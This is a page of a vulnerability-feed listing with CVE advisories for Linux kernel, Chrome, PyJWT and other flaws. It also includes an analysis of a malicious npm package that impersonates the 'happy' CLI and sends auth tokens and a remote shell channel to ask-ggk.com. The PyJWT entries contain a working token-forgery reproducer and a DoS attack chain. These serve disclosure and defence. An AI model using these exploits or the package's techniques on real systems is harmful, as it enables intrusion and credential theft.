Search: time-local.com
645 threats
Most recently published first
| Severity | CVSS | Signals | Threat | Source | Published | Score and star |
|---|---|---|---|---|---|---|
| High | 7.8 | EPSS 0.5% | CVE-2026-49366JetBrains IntelliJ IDEA · OS Command Injection High7.8EPSS 0.5%CVE Database V5CVE-2026-49366 CVE-2026-49366 is a high-severity command injection vulnerability in JetBrains IntelliJ IDEA versions before 2026.1.1. The issue arises from unsafe handling of filename completion, allowing an attacker with local access and user interaction to execute arbitrary commands. This vulnerability impacts confidentiality, integrity, and availability of the affected system. No official patch or remediation guidance has been confirmed yet from the vendor. There are no known exploits in the wild at this time. | CVE Database V5 | ||
| High | 7.8 | EPSS <0.1% | High7.8EPSS <0.1%CVE Database V5CVE-2026-9987 CVE-2026-9987 is a high-severity vulnerability in Google Chrome on Android prior to version 148.0.7778.216. It involves insufficient validation of untrusted input in the WebAppInstalls component, which could allow a local attacker to execute arbitrary code via a malicious file. The vulnerability has a CVSS score of 7.8, indicating a significant risk. There are no known exploits in the wild at this time. The vendor advisory linked does not explicitly confirm patch availability or remediation status. EPSS <0.1%Vulnerability | CVE Database V5 | ||
| High | 8.7 | EPSS 0.6% | CVE-2026-49128MusicPlayerDaemon MPD · Path Traversal High8.7EPSS 0.6%CVE Database V5CVE-2026-49128 Music Player Daemon (MPD) before version 0.24.11 contains a path traversal vulnerability in LocalStorage::MapFSOrThrow and LocalStorage::MapUTF8 within the local storage plugin, where the on-disk path is constructed by joining the storage root with a user-supplied URI as plain strings without canonicalization, allowing '..' segments to survive into the resolved path and be flattened by the kernel at openat() time. An unauthenticated attacker can exploit this flaw using the listfiles command to enumerate names, sizes, and modification times of arbitrary directories readable by the MPD process, and the albumart command to read image files in any attacker-chosen directory outside the configured music_directory. EPSS 0.6%Vulnerability | CVE Database V5 | ||
| Medium | 5.3 | EPSS 0.4% | CVE-2026-48525jpadilla pyjwt · Uncontrolled Resource Consumption Medium5.3EPSS 0.4%CVE Database V5CVE-2026-48525 > [!NOTE] > Practical impact depends on whether request body-size limits are enforced upstream (proxy/web-server/framework). Deployments with typical body-size caps (≤2 MB) bound the amplifier significantly; deployments accepting larger token inputs are more exposed. When verifying detached JWS tokens using the unencoded-payload option (`"b64": false`, RFC 7797), PyJWT performs **Base64URL decoding of the compact-serialization payload segment** *before* enforcing the detached-payload rules. For `b64=false`, PyJWT later **discards** that decoded payload and replaces it with the caller-provided `detached_payload`. In practice, this turns the middle segment into an attacker-controlled “work amplifier”: a remote client can supply an arbitrarily large Base64URL payload segment that forces **CPU work + memory allocations** even if the signature is invalid. This creates an **unauthenticated DoS** vector against any endpoint that verifies detached JWS using PyJWT. --- ## Affected Component(s) * `jwt/api_jws.py` * `PyJWS.decode()` / `PyJWS.decode_complete()` * `_load()` (parsing and Base64URL decoding) --- ## Root Cause (exact logic flaw) ### What happens in the code In `jwt/api_jws.py`, `decode_complete()` does the following (order matters): * Calls `_load(jwt)` first, which decodes the token segments * Only after that, checks `header.get("b64")` and if `False`, it replaces `payload = detached_payload` and rebuilds the signing input This behavior is visible in `decode_complete()`: * `_load(jwt)` happens **before** the `b64=false` handling * then `payload = detached_payload` and `signing_input = ... detached_payload` happens afterward ([GitHub][1]) Inside `_load()`, PyJWT unconditionally performs: * `payload = base64url_decode(payload_segment)` This is the expensive step the attacker can amplify ([GitHub][1]) ### Why this becomes a vulnerability For `b64=false` detached JWS, the payload segment in compact form is effectively **not needed** for verification in PyJWT’s own logic (since the library uses `detached_payload` as the real payload). Yet PyJWT still decodes it first, meaning: * cost is paid **even when signature is invalid** * the decoded bytes are **discarded** * attacker controls the size of this cost via token length --- ## Impact (evidence-driven) ### Security impact * **Unauthenticated remote DoS**: decoding work happens before signature rejection → attacker does not need signing key. * **CPU amplification**: Base64URL decode time scales linearly with payload segment size. * **Memory amplification**: decoded output allocates large byte buffers (tens of MB per request). * **Operational impact**: request queueing / worker starvation under modest concurrency bursts. ### Standards context (RFC 7797) RFC 7797 explicitly notes this option is used when payload is large and/or detached, and discusses interoperability requirements around marking it critical (“crit” with “b64”). ([IETF Datatracker][2]) (PyJWT supports `crit` validation, but the issue here is decode order / unbounded decode of an unused segment.) --- ## Affected Versions * **Confirmed affected:** PyJWT **2.12.1** (tested from your local editable install and repo). * **Likely affected:** all versions that include detached payload support for JWS decoding, which was introduced in **2.4.0** (“Add detached payload support for JWS encoding and decoding”). ([pyjwt.readthedocs.io][3]) (For GHSA, this phrasing is strong: “confirmed” + “likely since feature introduction”.) --- # Threat Model ### Typical real deployment A service verifies signed HTTP requests or webhooks using detached JWS: * token is provided in JSON body / query / header * actual payload is the HTTP request body passed as `detached_payload` ### Attacker * remote unauthenticated client * can send requests to verify endpoint * does **not** need a valid signature (invalid signature still triggers the expensive decode path) ### Attack chain 1. Attacker crafts a JWS compact token with header containing `"b64": false` and `crit:["b64"]`. 2. Attacker inflates the **payload segment** (middle segment) to millions of Base64URL characters. 3. Server calls `PyJWS.decode(...detached_payload=...)`. 4. PyJWT decodes the inflated segment (CPU + memory). 5. Signature is rejected afterward (401) — but resources already consumed. 6. Repeated requests or bursts cause queueing/worker starvation → DoS. --- # Proof of Concept - file names + results ## PoC placement * [server_localhost.py](https://github.com/user-attachments/files/26132755/server_localhost.py) * [client_localhost.py](https://github.com/user-attachments/files/26132757/client_localhost.py) * [flood_localhost.py](https://github.com/user-attachments/files/26132760/flood_localhost.py) --- ## PoC # 1 - Localhost verification server **File:** [server_localhost.py](https://github.com/user-attachments/files/26132755/server_localhost.py) **Purpose:** real HTTP endpoint (`POST /verify`) that calls PyJ | CVE Database V5 | ||
| Medium | 4.2 | EPSS 0.2% | CVE-2026-48522jpadilla pyjwt · Confused Deputy Medium4.2EPSS 0.2%CVE Database V5CVE-2026-48522 > [!NOTE] > The library does not directly return non-HTTP(S) URI contents to the attacker; the chained "plant a JWKS to forge tokens" scenario described in the original report requires additional application-layer flaws (attacker write access to a filesystem path, untrusted jku derivation) that this fix does not address. Severity is scored for the scheme-acceptance bug in isolation. ## Summary PyJWKClient passes its `uri` argument directly to `urllib.request.urlopen()` which uses Python stdlib's default `OpenerDirector` registering `HTTPHandler`, `HTTPSHandler`, `FTPHandler`, **`FileHandler`**, and `DataHandler`. There is currently no documented option to restrict which schemes PyJWKClient will fetch. If an application's `jku` URL ingestion path accepts attacker-influenced URLs (e.g., from JWT header, configuration file, OAuth flow parameter), the attacker can: 1. Cause PyJWKClient to read arbitrary local files via `file://` (SSRF on local filesystem) — the file's contents are passed to `json.load`. 2. Cause PyJWKClient to attempt FTP / data-URI fetches (broader SSRF surface). 3. **Forge tokens that PyJWT verifies as valid** — if the attacker can write to any path the JKU URL points at AND influences the URL, they can plant a JWK Set containing their own public key, sign tokens with the matching private key, and `jwt.decode()` accepts. ## Affected versions Tested and reproducible on **PyJWT 2.11.0 and 2.12.1**. Likely all versions back to PyJWKClient introduction. ## Reproducer (full attack chain — verified empirically) ```python import jwt as pyjwt from jwt import PyJWKClient from cryptography.hazmat.primitives.asymmetric import rsa from cryptography.hazmat.primitives import serialization import json, base64, time # Attacker generates keypair (no relation to real IdP) key = rsa.generate_private_key(public_exponent=65537, key_size=2048) pub_n = key.public_key().public_numbers().n def b64u(n): bl = (n.bit_length() + 7) // 8 return base64.urlsafe_b64encode(n.to_bytes(bl, 'big')).rstrip(b'=').decode() # Attacker writes JWK Set containing their public key to /tmp jwks = {"keys":[{"kty":"RSA","kid":"attacker","use":"sig","alg":"RS256", "n":b64u(pub_n),"e":"AQAB"}]} with open("/tmp/attacker.json","w") as f: json.dump(jwks, f) # Attacker mints token signed with their private key, jku=file:// priv_pem = key.private_bytes(serialization.Encoding.PEM, serialization.PrivateFormat.PKCS8, serialization.NoEncryption()) now = int(time.time()) token = pyjwt.encode( {"sub":"attacker","aud":"target-app","iat":now,"exp":now+3600}, priv_pem, algorithm="RS256", headers={"kid":"attacker","jku":"file:///tmp/attacker.json","typ":"JWT"}) # Vulnerable application pattern: caller derives jku from token header # and passes to PyJWKClient without scheme validation header = pyjwt.get_unverified_header(token) client = PyJWKClient(header["jku"]) # <-- accepts file:// silently key_obj = client.get_signing_key_from_jwt(token) decoded = pyjwt.decode(token, key_obj.key, algorithms=["RS256"], audience="target-app") print("Token verified:", decoded) # Output: Token verified: {'sub': 'attacker', 'aud': 'target-app', ...} ``` ## Cross-library evidence — PyJWT is the outlier The same composition pattern is structurally safe in 4 other mainstream JWT libraries: | Library | Behavior on `jku=file://...` | Mechanism | |---|---|---| | **PyJWT 2.12.1** (Python) | **Reads file from disk, parses, uses for signature verification** | urllib default OpenerDirector includes FileHandler | | panva/jose 6.2.3 (Node.js) | Refuses pre-fetch | WHATWG `fetch()` rejects non-http(s) at fetch-spec layer | | golang-jwt + MicahParks/keyfunc v3.4.0 (Go) | Refuses pre-fetch | `http.DefaultTransport` only registers http/https | | Microsoft.IdentityModel.Tokens 8.18.0 (.NET) | Refuses pre-fetch | `HttpDocumentRetriever` defaults `RequireHttps=true` | | Spring Security NimbusJwtDecoder 6.3.4 (Java) | Refuses pre-fetch | URI parser delegation refuses non-http(s) at request build | PyJWT is the only library of these 5 where the default behavior allows `file://` to reach the fetch layer. ## Recommended fix Add `allowed_schemes: tuple[str, ...] = ("https", "http")` kwarg to `PyJWKClient.__init__`. Pre-validate URL scheme before invoking `urllib.request.urlopen`. URLs with disallowed schemes raise `PyJWKClientError` before any fetch is attempted. ### Diff sketch against `jwt/jwks_client.py` ```python def __init__( self, uri: str, cache_keys: bool = False, max_cached_keys: int = 16, cache_jwk_set: bool = True, lifespan: float = 300, headers: dict[str, Any] | None = None, timeout: float = 30, ssl_context: SSLContext | None = None, allowed_schemes: tuple[str, ...] = ("https", "http"), # NEW ): """... :param allowed_schemes: URL schemes the JWKS endpoint is permitted to use. Default ``("https", "http")``. Pass ``("https",)`` for HTTPS-only oper | CVE Database V5 | ||
| Low | 5.5 | EPSS 0.1% | Low5.5EPSS 0.1%GCVE DatabaseCVE-2026-46167 In the Linux kernel, the following vulnerability has been resolved: usb: usblp: fix uninitialized heap leak via LPGETSTATUS ioctl Just like in a previous problem in this driver, usblp_ctrl_msg() will collapse the usb_control_msg() return value to 0/-errno, discarding the actual number of bytes transferred. Ideally that short command should be detected and error out, but many printers are known to send "incorrect" responses back so we can't just do that. statusbuf is kmalloc(8) at probe time and never filled before the first LPGETSTATUS ioctl. usblp_read_status() requests 1 byte. If a malicious printer responds with zero bytes, *statusbuf is one byte of stale kmalloc heap, sign-extended into the local int status, which the LPGETSTATUS path then copy_to_user()s directly to the ioctl caller. Fix this all by just zapping out the memory buffer when allocated at probe time. If a later call does a short read, the data will be identical to what the device sent it the last time, so there is no "leak" of information happening. | GCVE Database | ||
| High | 7.8 | EPSS 0.1% | CVE-2026-47333Linux hwe edge: Ubuntu Linux 6.8, 6.17 and 7.0 contain AppArmor SAUCE patches which can potentially incorrectly High7.8EPSS 0.1%GCVE DatabaseCVE-2026-47333 Ubuntu Linux kernels 6.8, 6.17, and 7.0 contain AppArmor patches that incorrectly compute the size of an internal buffer, resulting in a heap out-of-bounds read during notification handling. This vulnerability can be triggered by an unprivileged local user and may lead to kernel memory corruption and potentially influence AppArmor policy processing. The issue is tracked as CVE-2026-47333 and has a high severity with a CVSS score of 7.8. Multiple affected versions are identified, and a patch is available from Ubuntu. | GCVE Database | ||
| High | 7.8 | EPSS 0.1% | High7.8EPSS 0.1%GCVE DatabaseCVE-2026-45959 A vulnerability in the Linux kernel's crypto CCP component causes a crash due to incorrect cleanup usage of kfree. The issue arises from annotating a local pointer variable with __cleanup(kfree), which incorrectly passes the address of the local variable to kfree, leading to invalid deallocation of stack memory and a crash. The correct annotation should be __free(kfree). This vulnerability affects specific versions of the linux-hwe-edge kernel. | GCVE Database | ||
| Medium | 5.5 | EPSS 0.1% | Medium5.5EPSS 0.1%GCVE DatabaseCVE-2026-46026 A vulnerability in the Linux kernel's Qualcomm IPC Router (QRTR) nameserver (ns) subsystem allowed local clients to perform an unbounded number of lookups, potentially leading to a denial of service. The issue was fixed by limiting the maximum number of lookups globally to 64. This fix prevents malicious local clients from flooding the system with NEW_LOOKUP messages over the same socket. The vulnerability affects multiple specific Linux kernel versions prior to 6.8.0-136.136 and certain exact versions listed. The CVSS score is 5.5 (medium severity) with impact limited to availability. A patch is available and should be applied. | GCVE Database | ||
| High | 5.5 | EPSS 0.1% | High5.5EPSS 0.1%GCVE DatabaseCVE-2026-45842 A vulnerability in the Linux kernel's slip network driver allows a local user with limited privileges to cause a kernel crash (denial of service) by triggering a null pointer dereference in the VJ decompression code. This occurs when the slip compression state is initialized with zero receive slots, leading to dereferencing a null pointer during packet decompression. The issue is reachable from unprivileged user namespaces with CAP_NET_ADMIN capability. The vulnerability has been fixed by rejecting receive packets on instances with no receive state array, preventing the null pointer dereference. | GCVE Database | ||
| Medium | 5.5 | EPSS 0.1% | CVE-2025-15649PMQS IO::Uncompress::Unzip · Uncaught Exception Medium5.5EPSS 0.1%CVE Database V5CVE-2025-15649 IO::Uncompress::Unzip versions before 2.215 for Perl propagate uncaught exception when parsing zip header with malformed DOS date. _dosToUnixTime() decodes the local-file-header last-modification date field and calls Time::Local::timelocal() without an eval guard. A header whose date field decodes to an out-of-range month, day, or hour causes timelocal() to die. The exception propagates out of IO::Uncompress::Unzip->new($file) where callers expect undef plus $UnzipError. | CVE Database V5 | ||
| High | 5.5 | EPSS 0.1% | High5.5EPSS 0.1%GCVE DatabaseCVE-2026-46028 A vulnerability in the Linux kernel's algif_aead module related to asynchronous AEAD cryptographic requests was resolved. The issue involved the use of a socket-wide IV buffer that could be modified by concurrent socket activity before the original request completed, leading to inconsistent IV handling. This flaw could allow a local attacker to escalate privileges or escape a container. The vulnerability has been addressed by snapshotting the IV into per-request storage to prevent dependency on mutable socket state. Fixes are available in updated Linux kernel packages, and a system reboot is required after applying updates. | GCVE Database | ||
| High | 7.0 | EPSS 0.1% | CVE-2025-46284Apple macOS · Race Condition High7.0EPSS 0.1%CVE Database V5CVE-2025-46284 CVE-2025-46284 is a race condition vulnerability in Apple macOS that could allow an application to gain root privileges. The issue was addressed by adding additional validation and is fixed in macOS Sequoia 15.7 and macOS Tahoe 26. The vulnerability has a high severity rating with a CVSS score of 7. Exploitation requires local access with low privileges and high attack complexity. No known exploits in the wild have been reported at this time. | CVE Database V5 | ||
| High | 7.8 | KEVEPSS 16% | CVE-2026-46300Fragnesia (CVE-2026-46300): Frequently asked questions about new Linux Kernel XFRM ESP-in-TCP privilege escalation High7.8KEVEPSS 16%Tenable ResearchCVE-2026-46300 CVE-2026-46300, known as Fragnesia, is a Linux kernel vulnerability that enables an unprivileged local attacker to escalate privileges to root on the host. It specifically affects GKE Standard clusters running Ubuntu nodes, while GKE Standard clusters with Container-Optimized OS nodes, GKE Autopilot, and GKE Sandbox are not impacted. Upstream kernel patches have recently been released but are still being integrated into GKE releases. Partial mitigations include running workloads as non-root, using seccomp profiles set to RuntimeDefault, and disabling privilege escalation in container security contexts. Patch versions for other affected environments like VMware GDC and GKE on AWS/Azure are pending. The vulnerability is rated as high severity due to the potential for container breakout and host compromise. | Tenable Research | ||
| High | 7.8 | EPSS 0.1% | High7.8EPSS 0.1%CVE Database V5CVE-2026-24191 CVE-2026-24191 is a high-severity vulnerability in the NVIDIA Display Driver for Windows affecting GeForce products prior to version 596.36. It is a time-of-check time-of-use (TOCTOU) race condition that could allow an attacker to cause denial of service, escalate privileges, disclose information, tamper with data, or execute code. The vulnerability requires local access with low privileges and high attack complexity. No official patch or remediation guidance has been provided yet by NVIDIA. There are no known exploits in the wild at this time. | CVE Database V5 | ||
| Malicious | – | MaliciousGCVE Database --- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (d747cc7acd8bbc1defbf475aa3202fd332fd43135a6fedddfcc37356ce02eb54) Package presents itself as the legitimate slopus/happy CLI (README instructs `npm install -g happy`; homepage, repository, bugs, and author fields all point at happy.engineering / github.com/slopus/happy), but the published name is ggk-happy and the shipped code has been modified in ways that harm installers: 1. Backend redirection: DEFAULT_SERVER_URL is hardcoded to https://happy-api.ask-ggk.com and DEFAULT_WEBAPP_URL to https://happy.ask-ggk.com — third-party hosts not disclosed in the README, which still references api.cluster-fluster.com. All coding-agent sessions (Claude Code / Codex prompts, source code, auth tokens, machine metadata) flow to ask-ggk.com instead of the publisher advertised in package metadata. 2. Remote-control surface pointed at attacker infrastructure: ApiSessionClient / ApiMachineClient open a socket.io connection to the redirected server and register RPC handlers named `bash`, `readFile`, `writeFile`, `listDirectory`, `getDirectoryTree`, `ripgrep`, `difftastic`. The `bash` handler runs `execAsync(data.command, options)` on parameters supplied by the remote server. Whoever operates happy-api.ask-ggk.com can execute arbitrary shell commands and read/write files on the installer's machine. 3. Install-time auto-takeover: scripts/postinstall.cjs, on global or root install, unconditionally spawns `node bin/happy.mjs install`, running the full auth/registration flow (browser opened to happy.ask-ggk.com, machine registered to happy-api.ask-ggk.com, daemon started) at `npm install -g` time. Auto-takeover is opt-out via env var, not opt-in, so `sudo npm install -g ggk-happy` immediately binds the machine to the third-party backend, with elevated privileges on Linux/macOS root installs. 4. Unpinned binary dropper: RTK_DOWNLOAD_URLS fetches platform-specific `rtk` binaries from https://minio.ask-ggk.com/happy/rtk-*.{zip,tar.gz} (win32/darwin/linux, x64/arm64) with no hash or signature verification, stages them to ~/.local/share/ggkhappy/rtk/bin/rtk (or %LOCALAPPDATA%\ggkhappy\rtk\bin\rtk.exe), and later invokes them via execFile. Purpose of the binary is not documented. 5. Covert identity reporting: readRtkIdentity() reads the installer's machineId from ~/.happy settings and the auth token from ~/.happy/access.key and POSTs them, together with platform/version fields, to https://guguke.ask-ggk.com/api/v1/agent/rtk/gain/report — a side channel to a host not referenced in README documentation. This is not a legitimate fork: the surface identity (name, homepage, repo, README install command) still claims to be slopus/happy, while all backends, the remote-shell RPC destination, the runtime binary source, and the identity reporter have been repointed to ask-ggk.com infrastructure. Installers who follow the README believe they are installing the upstream project and instead grant an undisclosed operator remote code execution over their machine and full visibility into their AI coding sessions. | GCVE Database | |||
| High | 7.8 | EPSS 0.1% | High7.8EPSS 0.1%GCVE Database Multiple security vulnerabilities were discovered in the Linux kernel for Intel IoT Real-time platforms, affecting cryptographic operations, Ethernet bonding, packet sockets, and the TLS protocol. Notably, the algif_aead module improperly handled in-place cryptographic operations, allowing local attackers to escalate privileges or potentially escape containers. These issues could allow attackers to compromise affected systems. A patch is available that addresses these flaws, and users should update to the fixed kernel versions and reboot to apply the changes. | GCVE Database | ||
| High | 8.8 | EPSS 2.0% | CVE-2026-43503Linux kernel · net: skbuff: propagate shared-frag marker through frag-transfer helpers High8.8EPSS 2.0%GCVE DatabaseCVE-2026-43503 In the Linux kernel, the following vulnerability has been resolved: net: skbuff: propagate shared-frag marker through frag-transfer helpers Two frag-transfer helpers (__pskb_copy_fclone() and skb_shift()) fail to propagate the SKBFL_SHARED_FRAG bit in skb_shinfo()->flags when moving frags from source to destination. __pskb_copy_fclone() defers the rest of the shinfo metadata to skb_copy_header() after copying frag descriptors, but that helper only carries over gso_{size,segs, type} and never touches skb_shinfo()->flags; skb_shift() moves frag descriptors directly and leaves flags untouched. As a result, the destination skb keeps a reference to the same externally-owned or page-cache-backed pages while reporting skb_has_shared_frag() as false. The mismatch is harmful in any in-place writer that uses skb_has_shared_frag() to decide whether shared pages must be detoured through skb_cow_data(). ESP input is one such writer (esp4.c, esp6.c), and a single nft 'dup to <local>' rule -- or any other nf_dup_ipv4() / xt_TEE caller -- is enough to land a pskb_copy()'d skb in esp_input() with the marker stripped, letting an unprivileged user write into the page cache of a root-owned read-only file via authencesn-ESN stray writes. Set SKBFL_SHARED_FRAG on the destination whenever frag descriptors were actually moved from the source. skb_copy() and skb_copy_expand() share skb_copy_header() too but linearize all paged data into freshly allocated head storage and emerge with nr_frags == 0, so skb_has_shared_frag() returns false on its own; they need no change. The same omission exists in skb_gro_receive() and skb_gro_receive_list(). The former moves the incoming skb's frag descriptors into the accumulator's last sub-skb via two paths (a direct frag-move loop and the head_frag + memcpy path); the latter chains the incoming skb whole onto p's frag_list. Downstream skb_segment() reads only skb_shinfo(p)->flags, and skb_segment_list() reuses each sub-skb's shinfo as the nskb -- both p and lp must carry the marker. The same omission also exists in tcp_clone_payload(), which builds an MTU probe skb by moving frag descriptors from skbs on sk_write_queue into a freshly allocated nskb. The helper falls into the same family and warrants the same fix for consistency; no TCP TX-side in-place writer is currently known to reach a user page through this gap, but a future consumer depending on the marker would regress silently. The same omission exists in skb_segment(): the per-iteration flag merge takes only head_skb's flag, and the inner switch that rebinds frag_skb to list_skb on head_skb-frags exhaustion does not fold the new frag_skb's flag into nskb. Fold frag_skb's flag at both sites so segments drawing frags from frag_list members carry the marker. | GCVE Database | ||
| High | 7.5 | EPSS 0.2% | CVE-2026-9123Google Chrome · Heap Buffer Overflow High7.5EPSS 0.2%CVE Database V5CVE-2026-9123 CVE-2026-9123 is a heap buffer overflow vulnerability in the Chromecast component of Google Chrome on Android, Linux, and ChromeOS platforms prior to version 148.0.7778.179. This flaw allows a local attacker to execute arbitrary code within a sandbox environment by leveraging malicious network traffic. The vulnerability has a high severity rating with a CVSS score of 7.5. No known exploits are reported in the wild at this time. The vendor advisory linked does not explicitly confirm patch availability or remediation status. EPSS 0.2%Vulnerability | CVE Database V5 |
Page 27 of 39 · 1 duplicate CVE record merged